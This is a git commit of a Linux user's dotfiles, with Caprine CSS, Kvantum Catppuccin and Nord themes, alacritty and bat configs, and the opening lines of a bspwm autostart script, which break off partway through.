Initial Commit, move from a symlink farm to yadm

This commit is contained in:
2024-05-14 16:41:00 +02:00
commit 957a4eb474
210 changed files with 29165 additions and 0 deletions

View File

@@ -0,0 +1,36 @@
/*
This is the custom styles file where you can add anything you want.
The styles here will be injected into Caprine and will override default styles.
If you want to disable styles but keep the config, just comment the lines that you don't want to be used.
Here are some dark mode color variables to get you started.
Edit them to change color scheme of Caprine.
Press Command/Ctrl+R in Caprine to see your changes.
*/
:root {
--base: #00000000;
--base-ninety: rgba(255, 255, 255, 0.9);
--base-seventy-five: rgba(255, 255, 255, 0.75);
--base-seventy: rgba(255, 255, 255, 0.7);
--base-fifty: rgba(255, 255, 255, 0.5);
--base-fourty: rgba(255, 255, 255, 0.4);
--base-thirty: rgba(255, 255, 255, 0.3);
--base-twenty: rgba(255, 255, 255, 0.2);
--base-five: rgba(255, 255, 255, 0.05);
--base-ten: rgba(255, 255, 255, 0.1);
--base-nine: rgba(255, 255, 255, 0);
--container-color: #32323200;
--container-dark-color: #1e1e1e00;
--list-header-color: #22222200;
--blue: #0084ff;
--selected-conversation-background: linear-gradient(hsla(209, 110%, 45%, 0.9), hsla(209, 110%, 42%, 0.9));
--glasscord-win-blur: blurbehind;
--glasscord-linux-blur: true;
--glasscord-mac-vibrancy: fullscreen-ui;
}
._7t0j {
display: none !important;
opacity: 0 !important;
}

View File

@@ -0,0 +1,466 @@
[%General]
author=elkrien based on Arc Dark style
comment=Catppuccin-Macchiato-Red
spread_menuitems=true
left_tabs=true
mirror_doc_tabs=true
scroll_width=8
attach_active_tab=true
composite=true
menu_shadow_depth=7
tooltip_shadow_depth=0
splitter_width=7
check_size=16
slider_width=4
slider_handle_width=18
slider_handle_length=18
textless_progressbar=false
menubar_mouse_tracking=true
slim_toolbars=false
toolbutton_style=1
x11drag=menubar_and_primary_toolbar
double_click=false
translucent_windows=false
blurring=false
popup_blurring=true
opaque=kaffeine,kmplayer,subtitlecomposer,kdenlive,vlc,smplayer,smplayer2,avidemux,avidemux2_qt4,avidemux3_qt4,avidemux3_qt5,kamoso,QtCreator,VirtualBox,trojita,dragon,digikam,qmplay2
group_toolbar_buttons=false
vertical_spin_indicators=false
fill_rubberband=false
spread_progressbar=true
merge_menubar_with_toolbar=true
small_icon_size=16
large_icon_size=32
button_icon_size=16
scroll_arrows=false
iconless_pushbutton=true
toolbar_icon_size=16
combo_as_lineedit=true
button_contents_shift=false
groupbox_top_label=true
inline_spin_indicators=true
joined_inactive_tabs=false
layout_spacing=2
submenu_overlap=0
tooltip_delay=-1
animate_states=false
transient_scrollbar=true
alt_mnemonic=true
combo_menu=true
layout_margin=4
no_window_pattern=false
respect_DE=true
scroll_min_extent=36
scrollable_menu=false
scrollbar_in_view=false
spin_button_width=16
submenu_delay=250
tree_branch_line=true
progressbar_thickness=8
click_behavior=0
contrast=1.00
dialog_button_layout=0
drag_from_buttons=false
hide_combo_checkboxes=false
intensity=1.00
no_inactiveness=false
reduce_menu_opacity=0
reduce_window_opacity=10
saturation=1.00
shadowless_popup=false
transient_groove=false
menu_blur_radius=0
tooltip_blur_radius=0
[GeneralColors]
window.color=#24273A
base.color=#1E2030
alt.base.color=#1E2030
button.color=#363A4F
light.color=#494D64
mid.light.color=#494D64
dark.color=#1E2030
mid.color=#1E2030
highlight.color=#ED8796
inactive.highlight.color=#ED8796
text.color=#CAD3F5
window.text.color=#CAD3F5
button.text.color=#CAD3F5
disabled.text.color=#5B6078
tooltip.text.color=#CAD3F5
highlight.text.color=#1E2030
link.color=#F4DBD6
link.visited.color=#8AADF4
[ItemView]
inherits=PanelButtonCommand
frame.element=itemview
interior.element=itemview
frame=true
interior=true
text.iconspacing=3
text.toggle.color=#1E2030
[RadioButton]
inherits=PanelButtonCommand
frame=false
interior.element=radio
[CheckBox]
inherits=PanelButtonCommand
frame=false
interior.element=checkbox
[TreeExpander]
indicator.element=tree
indicator.size=8
[ToolTip]
frame.top=4
frame.right=4
frame.bottom=4
frame.left=4
frame=true
[PanelButtonCommand]
inherits=PanelButtonCommand
interior.element=button
frame.element=button
text.normal.color=#CAD3F5
text.focus.color=#CAD3F5
text.press.color=#1E2030
text.toggle.color=#1E2030
[PanelButtonTool]
inherits=PanelButtonCommand
[DockTitle]
inherits=PanelButtonCommand
interior=false
frame=false
text.margin.top=5
text.margin.bottom=5
text.margin.left=5
text.margin.right=5
indicator.size=0
[Dock]
interior.element=toolbar
frame.element=toolbar
frame=true
interior=true
[GroupBox]
inherits=PanelButtonCommand
interior.element=tabframe
interior=true
frame=false
[Focus]
inherits=PanelButtonCommand
frame=true
frame.element=focus
frame.top=1
frame.bottom=1
frame.left=1
frame.right=1
frame.patternsize=20
[GenericFrame]
inherits=PanelButtonCommand
frame.element=common
frame.top=1
frame.bottom=1
frame.left=1
frame.right=1
[Slider]
inherits=PanelButtonCommand
interior=true
frame.element=slider
interior.element=slider
frame.top=3
frame.bottom=3
frame.left=3
frame.right=3
focusFrame=true
[SliderCursor]
inherits=PanelButtonCommand
interior=true
interior.element=slidercursor
frame=false
[LineEdit]
inherits=PanelButtonCommand
frame.element=lineedit
interior.element=lineedit
[IndicatorSpinBox]
inherits=LineEdit
frame.element=lineedit
interior.element=lineedit
frame.top=0
frame.bottom=2
frame.left=2
frame.right=2
indicator.size=8
[DropDownButton]
inherits=PanelButtonCommand
frame.top=2
frame.bottom=2
frame.left=0
frame.right=1
indicator.size=8
[ToolboxTab]
inherits=PanelButtonCommand
frame.element=tabframe
frame.top=1
frame.bottom=1
frame.left=1
frame.right=1
[Tab]
inherits=PanelButtonCommand
interior.element=tab
frame.element=tab
frame.top=2
frame.bottom=3
frame.left=3
frame.right=3
indicator.size=10
text.normal.color=#5B6078
text.focus.color=#CAD3F5
text.press.color=#CAD3F5
text.toggle.color=#CAD3F5
focusFrame=true
[TabBarFrame]
inherits=GenericFrame
frame=true
frame.element=tabBarFrame
interior=false
frame.top=4
frame.bottom=4
frame.left=4
frame.right=4
[TabFrame]
inherits=PanelButtonCommand
frame.element=tabframe
interior.element=tabframe
[Dialog]
inherits=TabBarFrame
frame.element=tabframe
interior=false
frame=false
frame.top=1
frame.bottom=1
frame.left=1
frame.right=1
[HeaderSection]
inherits=PanelButtonCommand
interior.element=header
frame.element=header
frame.top=0
frame.bottom=1
frame.left=1
frame.right=1
frame.expansion=0
text.normal.color=#CAD3F5
text.focus.color=#ED8796
text.press.color=#CAD3F5
text.toggle.color=#CAD3F5
indicator.element=harrow
[SizeGrip]
inherits=PanelButtonCommand
frame=false
interior=false
indicator.element=resize-grip
indicator.size=0
[Toolbar]
inherits=PanelButtonCommand
interior.element=menubar
frame.element=menubar
frame=true
frame.bottom=4
frame.left=4
frame.right=4
text.normal.color=#CAD3F5
text.focus.color=#CAD3F5
text.press.color=#ED8796
text.toggle.color=#ED8796
text.bold=false
[MenuBar]
inherits=PanelButtonCommand
frame.element=menubar
interior.element=menubar
frame.bottom=0
text.normal.color=#CAD3F5
frame.expansion=0
text.bold=false
[ToolbarButton]
frame.element=tbutton
interior.element=tbutton
indicator.element=arrow
text.normal.color=#CAD3F5
text.focus.color=#CAD3F5
text.press.color=#1E2030
text.toggle.color=#1E2030
text.bold=false
[Scrollbar]
inherits=PanelButtonCommand
indicator.size=0
interior=false
frame=false
[ScrollbarGroove]
inherits=PanelButtonCommand
interior=false
frame=false
[ScrollbarSlider]
inherits=PanelButtonCommand
interior=false
frame.element=scrollbarslider
frame.top=4
frame.bottom=4
frame.left=4
frame.right=4
[ProgressbarContents]
inherits=PanelButtonCommand
frame=true
frame.element=progress-pattern
interior.element=progress-pattern
frame.top=2
frame.bottom=2
frame.left=2
frame.right=2
[Progressbar]
inherits=PanelButtonCommand
frame.element=progress
interior.element=progress
frame.top=2
frame.bottom=2
frame.left=2
frame.right=2
text.margin=0
text.normal.color=#CAD3F5
text.focus.color=#CAD3F5
text.press.color=#1E2030
text.toggle.color=#1E2030
text.bold=false
frame.expansion=18
[RadioButton]
inherits=PanelButtonCommand
[Menu]
frame.element=menu
interior.element=menu
inherits=PanelButtonCommand
text.press.color=#1E2030
text.toggle.color=#1E2030
text.bold=false
frame.top=3
frame.bottom=3
frame.left=3
frame.right=3
[MenuItem]
inherits=PanelButtonCommand
interior.element=menuitem
indicator.size=8
text.focus.color=#CAD3F5
text.press.color=#CAD3F5
[MenuBarItem]
inherits=PanelButtonCommand
interior.element=menubaritem
frame=false
text.margin.top=3
text.margin.bottom=3
text.margin.left=5
text.margin.right=5
[StatusBar]
inherits=Toolbar
frame.element=toolbar
font.bold=true
text.normal.color=#CAD3F5
frame=true
frame.top=0
frame.bottom=0
[TitleBar]
inherits=PanelButtonCommand
frame=false
interior=false
text.margin.top=2
text.margin.bottom=2
text.margin.left=3
text.margin.right=3
[ComboBox]
inherits=PanelButtonCommand
indicator.size=8
frame.top=3
frame.bottom=3
frame.left=3
frame.right=3
text.margin.top=1
text.margin.bottom=1
text.margin.left=3
text.margin.right=3
text.toggle.color=#CAD3F5
[ToolboxTab]
inherits=PanelButtonCommand
text.normal.color=#CAD3F5
text.press.color=#CAD3F5
text.focus.color=#CAD3F5
[Hacks]
transparent_dolphin_view=false
blur_konsole=true
transparent_ktitle_label=true
transparent_menutitle=true
respect_darkness=true
kcapacitybar_as_progressbar=true
force_size_grip=false
iconless_pushbutton=true
iconless_menu=false
disabled_icon_opacity=100
lxqtmainmenu_iconsize=0
normal_default_pushbutton=true
single_top_toolbar=false
tint_on_mouseover=0
transparent_pcmanfm_sidepane=true
transparent_pcmanfm_view=false
blur_translucent=true
centered_forms=false
kinetic_scrolling=true
middle_click_scroll=false
no_selection_tint=false
noninteger_translucency=false
style_vertical_toolbars=false
blur_only_active_window=false
[Window]
interior=true
interior.element=window
frame.top=0
frame.bottom=0
frame.left=0
frame.right=0

File diff suppressed because it is too large Load Diff

After

Width:  |  Height:  |  Size: 146 KiB

View File

@@ -0,0 +1,497 @@
[%General]
author=Eliver Lara
comment=A dark theme created using the awesome Nord color pallete.
x11drag=menubar_and_primary_toolbar
alt_mnemonic=true
left_tabs=true
attach_active_tab=true
mirror_doc_tabs=true
group_toolbar_buttons=false
toolbar_item_spacing=1
toolbar_interior_spacing=3
spread_progressbar=true
composite=true
menu_shadow_depth=5
menu_separator_height=6
tooltip_shadow_depth=6
splitter_width=4
scroll_width=6
scroll_arrows=false
scroll_min_extent=60
slider_width=2
slider_handle_width=18
slider_handle_length=18
center_toolbar_handle=true
check_size=14
textless_progressbar=false
progressbar_thickness=2
menubar_mouse_tracking=true
toolbutton_style=1
double_click=false
translucent_windows=false
blurring=false
popup_blurring=true
vertical_spin_indicators=false
spin_button_width=32
fill_rubberband=false
merge_menubar_with_toolbar=true
small_icon_size=16
large_icon_size=32
button_icon_size=16
toolbar_icon_size=22
combo_as_lineedit=true
animate_states=false
button_contents_shift=false
combo_menu=true
hide_combo_checkboxes=true
combo_focus_rect=true
groupbox_top_label=true
inline_spin_indicators=false
joined_inactive_tabs=false
layout_spacing=6
layout_margin=9
scrollbar_in_view=true
transient_scrollbar=true
transient_groove=false
submenu_overlap=0
tooltip_delay=-1
tree_branch_line=true
dark_titlebar=true
opaque=QMPlay2,kaffeine,kmplayer,subtitlecomposer,kdenlive,vlc,avidemux,avidemux2_qt4,avidemux3_qt4,avidemux3_qt5,kamoso,QtCreator,VirtualBox,trojita,dragon,digikam
reduce_window_opacity=18
scrollable_menu=false
submenu_delay=250
no_inactiveness=false
no_window_pattern=false
reduce_menu_opacity=0
respect_DE=true
contrast=1.00
dialog_button_layout=0
intensity=1.00
saturation=1.00
click_behavior=0
shadowless_popup=false
drag_from_buttons=false
[GeneralColors]
window.color=#2e3440
base.color=#2e3440
alt.base.color=#2E353D78
button.color=#3c4454
light.color=#2e3440
mid.light.color=#2e3440
dark.color=#2e3440
mid.color=#2e3440
highlight.color=#4c566a
inactive.highlight.color=#4c566a
text.color=#d8dee9
window.text.color=#d8dee9
button.text.color=#d8dee9
disabled.text.color=#d8dee978
tooltip.text.color=#d8dee9
highlight.text.color=#d8dee9
link.color=#646464
link.visited.color=#7f8c8d
progress.indicator.text.color=#d8dee9
[Hacks]
transparent_ktitle_label=true
transparent_dolphin_view=true
transparent_pcmanfm_sidepane=false
blur_translucent=true
transparent_menutitle=false
respect_darkness=true
kcapacitybar_as_progressbar=true
force_size_grip=true
iconless_pushbutton=false
iconless_menu=false
disabled_icon_opacity=70
lxqtmainmenu_iconsize=22
normal_default_pushbutton=true
single_top_toolbar=true
tint_on_mouseover=0
transparent_pcmanfm_view=false
middle_click_scroll=false
no_selection_tint=false
opaque_colors=false
scroll_jump_workaround=false
kinetic_scrolling=true
centered_forms=false
noninteger_translucency=false
[PanelButtonCommand]
frame=true
frame.element=button
frame.top=3
frame.bottom=3
frame.left=3
frame.right=3
interior=true
interior.element=button
indicator.size=8
text.normal.color=#d8dee9
text.focus.color=#d8dee9
text.press.color=#d8dee9
text.toggle.color=#d8dee9
text.shadow=0
text.margin=1
text.iconspacing=4
indicator.element=arrow
text.margin.top=2
text.margin.bottom=2
text.margin.left=2
text.margin.right=2
min_width=+0.3font
min_height=+0.3font
frame.expansion=6
[PanelButtonTool]
inherits=PanelButtonCommand
[Dock]
inherits=PanelButtonCommand
interior.element=dock
frame.element=dock
frame.top=1
frame.bottom=1
frame.left=1
frame.right=1
text.normal.color=#d8dee9
[DockTitle]
inherits=PanelButtonCommand
frame=false
interior=false
text.normal.color=#d8dee9
text.focus.color=#c8c8ca
text.bold=false
[IndicatorSpinBox]
inherits=PanelButtonCommand
frame=true
interior=true
frame.left=1
indicator.element=spin
indicator.size=10
text.normal.color=#d8dee9
[RadioButton]
inherits=PanelButtonCommand
frame=false
interior.element=radio
text.normal.color=#d8dee9
text.focus.color=#c8c8ca
[CheckBox]
inherits=PanelButtonCommand
frame=false
interior.element=checkbox
text.normal.color=#d8dee9
text.focus.color=#c8c8ca
[Focus]
inherits=PanelButtonCommand
frame=true
frame.element=focus
frame.top=1
frame.bottom=1
frame.left=1
frame.right=1
frame.patternsize=20
[GenericFrame]
inherits=PanelButtonCommand
frame=true
interior=false
frame.element=common
interior.element=common
frame.top=1
frame.bottom=1
frame.left=1
frame.right=1
[LineEdit]
inherits=PanelButtonCommand
frame.element=lineedit
interior.element=lineedit
text.margin.left=0
text.margin.right=0
[DropDownButton]
inherits=PanelButtonCommand
indicator.element=arrow-down
[IndicatorArrow]
indicator.element=arrow
indicator.size=8
[ToolboxTab]
inherits=PanelButtonCommand
text.normal.color=#d8dee9
text.focus.color=#c8c8ca
text.press.color=#d2d2d4
[Tab]
inherits=PanelButtonCommand
interior.element=tab
text.margin.left=8
text.margin.right=8
text.margin.top=2
text.margin.bottom=2
frame.element=tab
indicator.element=tab
frame.top=4
frame.bottom=4
frame.left=4
frame.right=4
text.normal.color=#d8dee9
text.focus.color=#d8dee9
text.toggle.color=#d8dee9
frame.expansion=0
[TabFrame]
inherits=PanelButtonCommand
frame.element=tabframe
interior.element=tabframe
frame.top=4
frame.bottom=4
frame.left=4
frame.right=4
[TreeExpander]
inherits=PanelButtonCommand
indicator.size=12
indicator.element=tree
[HeaderSection]
inherits=PanelButtonCommand
interior.element=header
frame.element=header
frame.top=1
frame.bottom=1
frame.left=1
frame.right=1
text.bold=false
text.normal.color=#d8dee9
text.focus.color=#c8c8ca
text.press.color=#d2d2d4
text.toggle.color=#d2d2d4
frame.expansion=0
[SizeGrip]
indicator.element=resize-grip
[Toolbar]
inherits=PanelButtonCommand
indicator.element=toolbar
indicator.size=5
text.margin=0
frame=true
interior.element=menubar
frame.element=menubar
text.normal.color=#d8dee9
text.focus.color=#c8c8ca
frame.left=0
frame.right=0
frame.top=0
frame.bottom=1
frame.expansion=0
[Slider]
inherits=PanelButtonCommand
frame.element=slider
interior.element=slider
frame.top=3
frame.bottom=3
frame.left=3
frame.right=3
[SliderCursor]
inherits=PanelButtonCommand
frame=false
interior.element=slidercursor
[Progressbar]
inherits=PanelButtonCommand
frame.element=progress
interior.element=progress
text.margin=0
text.normal.color=#d8dee9
text.focus.color=#c8c8ca
text.press.color=#d2d2d4
text.toggle.color=#d8dee9
text.bold=false
frame.expansion=8
[ProgressbarContents]
inherits=PanelButtonCommand
frame=true
frame.element=progress-pattern
interior.element=progress-pattern
[ItemView]
inherits=PanelButtonCommand
text.margin=0
frame.element=itemview
interior.element=itemview
frame.top=2
frame.bottom=2
frame.left=2
frame.right=2
text.margin.top=2
text.margin.bottom=2
text.margin.left=4
text.margin.right=4
text.normal.color=#d8dee9
text.focus.color=#c8c8ca
text.press.color=#d8dee9
text.toggle.color=#d8dee9
min_width=+0.3font
min_height=+0.3font
frame.expansion=0
[Splitter]
indicator.size=48
[Scrollbar]
inherits=PanelButtonCommand
indicator.element=arrow
indicator.size=8
[ScrollbarSlider]
inherits=PanelButtonCommand
interior.element=scrollbarslider
interior=true
frame=false
frame.expansion=48
[ScrollbarGroove]
inherits=PanelButtonCommand
interior.element=scrollbargroove
interior=true
frame=false
frame.expansion=48
[MenuItem]
inherits=PanelButtonCommand
frame=true
frame.element=menuitem
interior.element=menuitem
indicator.element=menuitem
text.normal.color=#d8dee9
text.focus.color=#c8c8ca
text.margin.top=1
text.margin.bottom=1
text.margin.left=4
text.margin.right=4
frame.top=3
frame.bottom=3
frame.left=3
frame.right=3
text.bold=false
min_width=+0.3font
min_height=+0.3font
frame.expansion=0
[MenuBar]
inherits=PanelButtonCommand
frame.element=menubar
interior.element=menubar
text.normal.color=#d8dee9
frame.bottom=0
frame.expansion=0
[MenuBarItem]
inherits=PanelButtonCommand
interior=true
interior.element=menubaritem
frame.element=menubaritem
frame.top=2
frame.bottom=2
frame.left=2
frame.right=2
text.margin.left=4
text.margin.right=4
text.margin.top=0
text.margin.bottom=0
text.normal.color=#d8dee9
text.focus.color=#c8c8ca
frame.expansion=0
[TitleBar]
inherits=PanelButtonCommand
frame=false
text.margin.top=2
text.margin.bottom=2
text.margin.left=2
text.margin.right=2
interior.element=titlebar
indicator.size=16
indicator.element=mdi
text.normal.color=#d8dee9
text.focus.color=#c8c8ca
text.bold=true
text.italic=false
frame.expansion=0
[ComboBox]
inherits=PanelButtonCommand
interior.element=combo
frame.element=combo
text.press.color=#d2d2d4
indicator.element=carrow
[Menu]
inherits=PanelButtonCommand
frame.top=1
frame.bottom=1
frame.left=1
frame.right=1
frame.element=menu
interior.element=menu
text.normal.color=#d8dee9
text.shadow=false
frame.expansion=0
[GroupBox]
inherits=GenericFrame
frame=false
text.shadow=0
text.margin=0
text.normal.color=#d8dee9
text.focus.color=#c8c8ca
text.bold=true
frame.expansion=0
[TabBarFrame]
inherits=GenericFrame
frame=true
frame.element=tabBarFrame
interior=false
frame.top=4
frame.bottom=4
frame.left=4
frame.right=4
[ToolTip]
inherits=GenericFrame
frame.top=3
frame.bottom=3
frame.left=3
frame.right=3
interior=true
text.shadow=0
text.margin=0
interior.element=tooltip
frame.element=tooltip
frame.expansion=0
[StatusBar]
inherits=GenericFrame
frame=false
interior=false
interior=false
[Window]
interior=true
interior.element=window

View File

@@ -0,0 +1,2 @@
[General]
theme=Catppuccin-Macchiato-Red

View File

@@ -0,0 +1,220 @@
#import:
#- ~/.config/alacritty/colors.yml
import:
# uncomment the flavour you want below:
# - ~/.config/alacritty/catppuccin/catppuccin-mocha.yml
- ~/.config/alacritty/catppuccin/catppuccin-macchiato.yml
# - ~/.config/alacritty/catppuccin/catppuccin-frappe.yml
# - ~/.config/alacritty/catppuccin/catppuccin-latte.yml
scrolling:
history: 100000
env:
TERM: alacritty
WINIT_X11_SCALE_FACTOR: '1.0'
window:
decorations: none
dynamic_title: true
opacity: 0.1
font:
# Normal (roman) font face
normal:
# Font family
#
# Default:
# - (macOS) Menlo
# - (Linux/BSD) monospace
# - (Windows) Consolas
family: Noto Color Emoji
family: SauceCodePro NFM
# The `style` can be specified to pick a specific face.
#style: Regular
# Bold font face
#bold:
# Font family
#
# If the bold family is not specified, it will fall back to the
# value specified for the normal font.
#family: monospace
# The `style` can be specified to pick a specific face.
#style: Bold
# Italic font face
#italic:
# Font family
#
# If the italic family is not specified, it will fall back to the
# value specified for the normal font.
#family: monospace
# The `style` can be specified to pick a specific face.
#style: Italic
# Bold italic font face
#bold_italic:
# Font family
#
# If the bold italic family is not specified, it will fall back to the
# value specified for the normal font.
#family: monospace
# The `style` can be specified to pick a specific face.
#style: Bold Italic
# Point size
size: 10.0
# Offset is the extra space around each character. `offset.y` can be thought
# of as modifying the line spacing, and `offset.x` as modifying the letter
# spacing.
#offset:
# x: 0
# y: 0
# Glyph offset determines the locations of the glyphs within their cells with
# the default being at the bottom. Increasing `x` moves the glyph to the
# right, increasing `y` moves the glyph upward.
#glyph_offset:
# x: 0
# y: 0
# Bell
#
# The bell is rung every time the BEL control character is received.
bell:
# Visual Bell Animation
#
# Animation effect for flashing the screen when the visual bell is rung.
#
# Values for `animation`:
# - Ease
# - EaseOut
# - EaseOutSine
# - EaseOutQuad
# - EaseOutCubic
# - EaseOutQuart
# - EaseOutQuint
# - EaseOutExpo
# - EaseOutCirc
# - Linear
animation: EaseOutExpo
# Duration of the visual bell flash in milliseconds. A `duration` of `0` will
# disable the visual bell animation.
duration: 250
# Visual bell animation color.
color: '#FF0000' #'#4C566A'
hints:
# URL launcher
#
# This program is executed when clicking on a text which is recognized as a
# URL. The URL is always added to the command as the last parameter.
#
# When set to `launcher: None`, URL launching will be disabled completely.
#
# Default:
# - (macOS) open
# - (Linux/BSD) xdg-open
# - (Windows) explorer
enabled:
- regex: "(ipfs:|ipns:|magnet:|mailto:|gemini:|gopher:|https:|http:|news:|file:|git:|ssh:|ftp:)[^\u0000-\u001F\u007F-\u009F<>\"\\s{-}\\^⟨⟩`]+"
command: xdg-open
post_processing: true
mouse:
enabled: true
mods: None
binding:
key: U
mods: Control|Shift
# launcher:
# program: xdg-open
#args: []
#key_bindings:
#- { key: Paste, action: Paste }
#- { key: Copy, action: Copy }
#- { key: L, mods: Control, action: ClearLogNotice }
#- { key: L, mods: Control, mode: ~Vi|~Search, chars: "\x0c" }
#- { key: PageUp, mods: Shift, mode: ~Alt, action: ScrollPageUp, }
#- { key: PageDown, mods: Shift, mode: ~Alt, action: ScrollPageDown }
#- { key: Home, mods: Shift, mode: ~Alt, action: ScrollToTop, }
#- { key: End, mods: Shift, mode: ~Alt, action: ScrollToBottom }
# Vi Mode
#- { key: Space, mods: Shift|Control, mode: Vi|~Search, action: ScrollToBottom }
#- { key: Space, mods: Shift|Control, mode: ~Search, action: ToggleViMode }
#- { key: Escape, mode: Vi|~Search, action: ClearSelection }
#- { key: I, mode: Vi|~Search, action: ScrollToBottom }
#- { key: I, mode: Vi|~Search, action: ToggleViMode }
#- { key: C, mods: Control, mode: Vi|~Search, action: ToggleViMode }
#- { key: Y, mods: Control, mode: Vi|~Search, action: ScrollLineUp }
#- { key: E, mods: Control, mode: Vi|~Search, action: ScrollLineDown }
#- { key: G, mode: Vi|~Search, action: ScrollToTop }
#- { key: G, mods: Shift, mode: Vi|~Search, action: ScrollToBottom }
#- { key: B, mods: Control, mode: Vi|~Search, action: ScrollPageUp }
#- { key: F, mods: Control, mode: Vi|~Search, action: ScrollPageDown }
#- { key: U, mods: Control, mode: Vi|~Search, action: ScrollHalfPageUp }
#- { key: D, mods: Control, mode: Vi|~Search, action: ScrollHalfPageDown }
#- { key: Y, mode: Vi|~Search, action: Copy }
#- { key: Y, mode: Vi|~Search, action: ClearSelection }
#- { key: Copy, mode: Vi|~Search, action: ClearSelection }
#- { key: V, mode: Vi|~Search, action: ToggleNormalSelection }
#- { key: V, mods: Shift, mode: Vi|~Search, action: ToggleLineSelection }
#- { key: V, mods: Control, mode: Vi|~Search, action: ToggleBlockSelection }
#- { key: V, mods: Alt, mode: Vi|~Search, action: ToggleSemanticSelection }
#- { key: Return, mode: Vi|~Search, action: Open }
#- { key: K, mode: Vi|~Search, action: Up }
#- { key: J, mode: Vi|~Search, action: Down }
#- { key: H, mode: Vi|~Search, action: Left }
#- { key: L, mode: Vi|~Search, action: Right }
#- { key: Up, mode: Vi|~Search, action: Up }
#- { key: Down, mode: Vi|~Search, action: Down }
#- { key: Left, mode: Vi|~Search, action: Left }
#- { key: Right, mode: Vi|~Search, action: Right }
#- { key: Key0, mode: Vi|~Search, action: First }
#- { key: Key4, mods: Shift, mode: Vi|~Search, action: Last }
#- { key: Key6, mods: Shift, mode: Vi|~Search, action: FirstOccupied }
#- { key: H, mods: Shift, mode: Vi|~Search, action: High }
#- { key: M, mods: Shift, mode: Vi|~Search, action: Middle }
#- { key: L, mods: Shift, mode: Vi|~Search, action: Low }
#- { key: B, mode: Vi|~Search, action: SemanticLeft }
#- { key: W, mode: Vi|~Search, action: SemanticRight }
#- { key: E, mode: Vi|~Search, action: SemanticRightEnd }
#- { key: B, mods: Shift, mode: Vi|~Search, action: WordLeft }
#- { key: W, mods: Shift, mode: Vi|~Search, action: WordRight }
#- { key: E, mods: Shift, mode: Vi|~Search, action: WordRightEnd }
#- { key: Key5, mods: Shift, mode: Vi|~Search, action: Bracket }
#- { key: Slash, mode: Vi|~Search, action: SearchForward }
#- { key: Slash, mods: Shift, mode: Vi|~Search, action: SearchBackward }
#- { key: N, mode: Vi|~Search, action: SearchNext }
#- { key: N, mods: Shift, mode: Vi|~Search, action: SearchPrevious }
# Search Mode
#- { key: Return, mode: Search|Vi, action: SearchConfirm }
#- { key: Escape, mode: Search, action: SearchCancel }
#- { key: C, mods: Control, mode: Search, action: SearchCancel }
#- { key: U, mods: Control, mode: Search, action: SearchClear }
#- { key: W, mods: Control, mode: Search, action: SearchDeleteWord }
#- { key: P, mods: Control, mode: Search, action: SearchHistoryPrevious }
#- { key: N, mods: Control, mode: Search, action: SearchHistoryNext }
#- { key: Up, mode: Search, action: SearchHistoryPrevious }
#- { key: Down, mode: Search, action: SearchHistoryNext }
#- { key: Return, mode: Search|~Vi, action: SearchFocusNext }
#- { key: Return, mods: Shift, mode: Search|~Vi, action: SearchFocusPrevious }
# (Windows, Linux, and BSD only)
#- { key: V, mods: Control|Shift, mode: ~Vi, action: Paste }
#- { key: C, mods: Control|Shift, action: Copy }
#- { key: F, mods: Control|Shift, mode: ~Search, action: SearchForward }
#- { key: B, mods: Control|Shift, mode: ~Search, action: SearchBackward }
#- { key: C, mods: Control|Shift, mode: Vi|~Search, action: ClearSelection }
#- { key: Insert, mods: Shift, action: PasteSelection }
#- { key: Key0, mods: Control, action: ResetFontSize }
#- { key: Equals, mods: Control, action: IncreaseFontSize }
#- { key: Plus, mods: Control, action: IncreaseFontSize }
#- { key: NumpadAdd, mods: Control, action: IncreaseFontSize }
#- { key: Minus, mods: Control, action: DecreaseFontSize }
#- { key: NumpadSubtract, mods: Control, action: DecreaseFontSize }

View File

@@ -0,0 +1,58 @@
# Copyright (c) 2017-present Arctic Ice Studio <development@arcticicestudio.com>
# Copyright (c) 2017-present Sven Greb <code@svengreb.de>
# Project: Nord Alacritty
# Version: 0.1.0
# Repository: https://github.com/arcticicestudio/nord-alacritty
# License: MIT
# References:
# https://github.com/alacritty/alacritty
colors:
primary:
background: '#2e3440'
foreground: '#d8dee9'
dim_foreground: '#a5abb6'
cursor:
text: '#2e3440'
cursor: '#d8dee9'
vi_mode_cursor:
text: '#2e3440'
cursor: '#d8dee9'
selection:
text: CellForeground
background: '#4c566a'
search:
matches:
foreground: CellBackground
background: '#88c0d0'
bar:
background: '#434c5e'
foreground: '#d8dee9'
normal:
black: '#3b4252'
red: '#bf616a'
green: '#a3be8c'
yellow: '#ebcb8b'
blue: '#81a1c1'
magenta: '#b48ead'
cyan: '#88c0d0'
white: '#e5e9f0'
bright:
black: '#4c566a'
red: '#bf616a'
green: '#a3be8c'
yellow: '#ebcb8b'
blue: '#81a1c1'
magenta: '#b48ead'
cyan: '#8fbcbb'
white: '#eceff4'
dim:
black: '#373e4d'
red: '#94545d'
green: '#809575'
yellow: '#b29e75'
blue: '#68809a'
magenta: '#8c738c'
cyan: '#6d96a5'
white: '#aeb3bb'

25
.config/bat/config Normal file
View File

@@ -0,0 +1,25 @@
# This is `bat`s configuration file. Each line either contains a comment or
# a command-line option that you want to pass to `bat` by default. You can
# run `bat --help` to get a list of all possible configuration options.
# Specify desired highlighting theme (e.g. "TwoDark"). Run `bat --list-themes`
# for a list of all available themes
--theme="Nord"
# Enable this to use italic text on the terminal. This is not supported on all
# terminal emulators (like tmux, by default):
#--italic-text=always
# Uncomment the following line to disable automatic paging:
#--paging=never
# Uncomment the following line if you are using less version >= 551 and want to
# enable mouse scrolling support in `bat` when running inside tmux. This might
# disable text selection, unless you press shift.
#--pager="less --RAW-CONTROL-CHARS --quit-if-one-screen --mouse"
# Syntax mappings: map a certain filename pattern to a language.
# Example 1: use the C++ syntax for .ino files
# Example 2: Use ".gitignore"-style highlighting for ".ignore" files
#--map-syntax "*.ino:C++"
#--map-syntax ".ignore:Git Ignore"

98
.config/bspwm/autostart Executable file
View File

@@ -0,0 +1,98 @@
## Load appearance settings
xsetroot -cursor_name left_ptr &
export GTK2_RC_FILES="$HOME/.gtkrc-2.0" &
xrdb merge .Xresources &
## Wallpaper fallback
dash ~/.fehbg &
## Wallpaper changer
variety &
## Composition manager
picom -b --vsync &
## enable local fonts in .fonts directory
xset +fp /usr/share/fonts/local &
xset +fp /usr/share/fonts/misc &
xset +fp ~/.fonts &
xset fp rehash &
fc-cache -fv &
## powersaving options
xset s off &
xset s noblank &
xset s noexpose &
xset c on &
xset -dpms &
## Make monitor settings persist between reboots
eval $(awk -F'=' '/Exec=/ {print $2}' ~/.config/autostart/lxrandr-autostart.desktop) &
## Map super key to trigger rofi when used alone
xcape -e 'Super_L=Super_L|Shift_L|space' &
## Polkit agent
